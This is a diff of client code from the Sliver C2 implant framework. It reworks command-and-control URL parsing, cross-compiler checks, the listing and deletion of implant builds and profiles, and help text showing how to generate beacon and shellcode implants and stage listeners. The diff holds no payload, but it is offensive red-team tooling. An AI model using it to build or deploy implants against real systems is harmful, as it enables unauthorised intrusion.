||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseNamedPipec2 - Parse named pipe connection string arg
|
||||
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
uri := url.URL{Scheme: "tcppivot"}
|
||||
uri.Host = arg
|
||||
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
|
||||
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
@@ -555,3 +627,62 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
if format == clientpb.OutputFormat_EXECUTABLE {
|
||||
return true // We don't need cross-compilers when targeting EXECUTABLE formats
|
||||
}
|
||||
|
||||
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
|
||||
for _, cc := range crossCompilers {
|
||||
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
@@ -2,7 +2,9 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +12,24 @@ import (
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No name specified\n")
|
||||
return
|
||||
}
|
||||
build := ImplantBuildByName(name, con)
|
||||
if build == nil {
|
||||
con.PrintErrorf("No implant build found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("implant-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete implant %s\n", err)
|
||||
|
||||
@@ -19,19 +19,29 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ImplantBuildFilter - Filter implant builds
|
||||
type ImplantBuildFilter struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Beacon bool
|
||||
Session bool
|
||||
Format string
|
||||
Debug bool
|
||||
}
|
||||
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("OS/Arch")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
)
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range configs {
|
||||
if 0 < len(config.C2) {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
sliverName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
config.Format,
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
)
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
)
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
|
||||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
fmt.Fprintf(stdout, "%s", outputBuf.String())
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ImplantBuildNameCompleter - Completer for implant build names
|
||||
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
sort.StringSlice(results).Sort()
|
||||
return results
|
||||
}
|
||||
|
||||
// ImplantBuildByName - Get an implant build by name
|
||||
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -30,9 +30,9 @@ import (
|
||||
|
||||
// ProfilesGenerateCmd - Generate an implant binary based on a profile
|
||||
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("no profile selected")
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
@@ -1,5 +1,22 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -10,11 +27,7 @@ import (
|
||||
|
||||
// ProfilesNewCmd - Create a new implant profile
|
||||
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
name := ctx.Args.String("name")
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new profile %s\n", resp.Name)
|
||||
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// ProfilesNewBeaconCmd - Create a new beacon profile
|
||||
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +30,24 @@ import (
|
||||
|
||||
// ProfilesRmCmd - Delete an implant profile
|
||||
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("No profile found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("profile-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete profile %s\n", err)
|
||||
|
||||
@@ -21,15 +21,15 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ProfilesCmd - Display implant profiles
|
||||
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
|
||||
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
|
||||
return
|
||||
} else {
|
||||
PrintProfiles(profiles, con)
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")),
|
||||
)
|
||||
}
|
||||
|
||||
// PrintProfiles - Print the profiles
|
||||
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Profile Name",
|
||||
"Implant Type",
|
||||
"Platform",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
)
|
||||
|
||||
obfuscation := "disabled"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "enabled"
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
profile.Name,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
// GetImplantProfileByName - Get an implant profile by a specific name
|
||||
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ProfileNameCompleter - Completer for implant build names
|
||||
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if strings.HasPrefix(profile.Name, prefix) {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -45,12 +45,19 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
groups := make(map[string]*grumble.Commands)
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
if con.ActiveSession.Get() != nil {
|
||||
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
targetOS = beacon.OS
|
||||
}
|
||||
if beacon != nil || session != nil {
|
||||
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
@@ -90,6 +97,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadExtensionStr: loadExtensionHelp,
|
||||
consts.AliasesStr: loadMacrosHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -84,10 +84,13 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.PivotsListStr: pivotListHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
consts.GetPrivsStr: getPrivsHelp,
|
||||
|
||||
// Loot
|
||||
consts.LootStr: lootHelp,
|
||||
@@ -171,7 +174,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
|
||||
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
command.
|
||||
`
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
|
||||
@@ -199,23 +202,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
|
||||
|
||||
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
|
||||
|
||||
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
|
||||
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
`
|
||||
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
|
||||
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
|
||||
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
|
||||
profiles generate my-profile-name
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
